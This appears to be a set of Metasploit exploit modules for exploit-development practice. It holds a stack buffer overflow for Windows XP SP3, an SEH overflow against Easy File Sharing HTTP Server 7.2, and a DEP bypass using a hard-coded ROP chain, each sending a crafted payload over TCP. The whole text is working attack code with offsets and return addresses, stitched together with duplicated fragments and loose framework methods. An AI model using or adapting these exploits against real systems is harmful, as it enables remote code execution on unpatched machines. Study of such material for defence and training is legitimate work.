class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'Stack Overflow Example',
            'Description' => %q{
                Stack Based Overflow Example
            },
            'Platform'  => 'win',
            'Author' => 'Rambo',
            'Targets'   => [
                        ['Windows XP SP3', {'Ret' => 0x7dd333af, 'Offset' => 520}]
                       ],
            'Payload'       => {
                        'Space'    => 400,
                        'BadChars' => "\x20\x0a\x0d\x00\xff",
                        },
            'DisclosureDate' => 'Oct 26 2018'
        ))
        register_options(
        [
            Opt::RPORT(10000)
        ], self.class)

    end

    def exploit
        connect
        buf = make_nops(target['Offset'])
        buf = buf + [target['Ret']].pack('V') + payload.encoded
        sock.put(buf)
        handler
        disconnect
    end
end

  # Passes the connection to the associated payload handler to see if the
  # exploit succeeded and a connection has been established.  The return
  # value can be one of the Handler::constants.
  #
  def handler(*args)
    if payload_instance && handler_enabled?
      payload_instance.handler(*args)
    end
  end

  def interrupt_handler
    if payload_instance && handler_enabled? && payload_instance.respond_to?(:interrupt_wait_for_session)
      payload_instance.interrupt_wait_for_session()
    end
  end

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'Easy File Sharing HTTP Server 7.2 SEH Overflow (HEAD)',
            'Description' => %q{
                SEH based overflow example
            },
            'Platform'  => 'win',
            'Author' => 'Rambo',
            'Targets'   => [
                        ['Easy File Sharing HTTP Server 7.2', {'Ret' => 0x10019993, 'Offset' => 4061}]
                       ],
            'Privileged' => true,
            'DefaultOptions' =>
                {

                    'EXITFUNC' => 'thread',
                },
            'Payload'       => {
                        'Space'    => 400,
                        'BadChars' => "\x2b\x26\x3d\x25\x3a\x22\x2f\x5c\x2e\x20\x0a\x0d\x00\xff",
                        },
            'DisclosureDate' => 'Dec 2 2015',
            'DefaultTarget' => 0
        ))
        register_options(
        [
            Opt::RPORT(10000)
        ], self.class)

    end
    def exploit
        connect
        weapon = "HEAD "
        weapon << make_nops(target['Offset'])
        weapon << generate_seh_record(target['Ret'])
        weapon << make_nops(19)
        weapon << payload.encoded
        weapon << " HTTP/1.0\r\n\r\n"
        sock.put(weapon)
        handler
        disconnect
    end
end

    def exploit
        connect
        buf = 'TRUN .' + make_nops(target['Offset'])
        buf = buf + [target['Ret']].pack('V') + payload.encoded
        sock.put(buf)
        handler
        disconnect
    end

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'      => 'DEP Bypass Exploit',
            'Description' => %q{
                DEP Bypass Using ROP Chains Example Module
            },
            'Platform'  => 'win',
            'Author' => 'Rambo',
            'Targets'   => [
                        ['Windows XP SP3', {'Offset' => 2006}]
                       ],
            'Payload'       => {
                        'Space'    => 400,
                        'BadChars' => "\x20\x0a\x0d\x00\xff",
                        },
            'DisclosureDate' => 'Oct 26 2018'
        ))
        register_options(
        [
            Opt::RPORT(10000)
        ], self.class)

    end
    # this function is generated by mona
    def create_rop_chain()
        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets =
        [
          0x77c1debf,  # POP EAX # RETN [msvcrt.dll]
          0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
          0x77e62d1c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll]
          0x77f33564,  # XCHG EAX,ESI # RETN [GDI32.dll]
          0x77c130f9,  # POP EBP # RETN [msvcrt.dll]
          0x625011c7,  # & jmp esp [essfunc.dll]
          0x77c0b860,  # POP EAX # RETN [msvcrt.dll]
          0xfffffdff,  # Value to negate, will become 0x00000201
          0x77d4493b,  # NEG EAX # RETN [USER32.dll]
          0x7c9259c8,  # XCHG EAX,EBX # RETN [ntdll.dll]
          0x77bf1d16,  # POP EAX # RETN [msvcrt.dll]
          0xffffffc0,  # Value to negate, will become 0x00000040
          0x77da9b06,  # NEG EAX # RETN [ADVAPI32.dll]
          0x77c28fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
          0x7c98b602,  # POP ECX # RETN [ntdll.dll]
          0x7c99e2c7,  # &Writable location [ntdll.dll]
          0x77e0cb20,  # POP EDI # RETN [ADVAPI32.dll]
          0x77e6d224,  # RETN (ROP NOP) [RPCRT4.dll]
          0x77df5bf7,  # POP EAX # RETN [ADVAPI32.dll]
          0x90909090,  # nop
          0x60fe2449,  # PUSHAD # RETN [hnetcfg.dll]
        ].flatten.pack("V*")

        return rop_gadgets
    end
    def exploit
        connect
        rop_chain = create_rop_chain()
        buf = 'TRUN .' + make_nops(target['Offset'])
        buf = buf + rop_chain + make_nops(16) + payload.encoded + '\r\n'
        sock.put(buf)
        handler
        disconnect
    end
end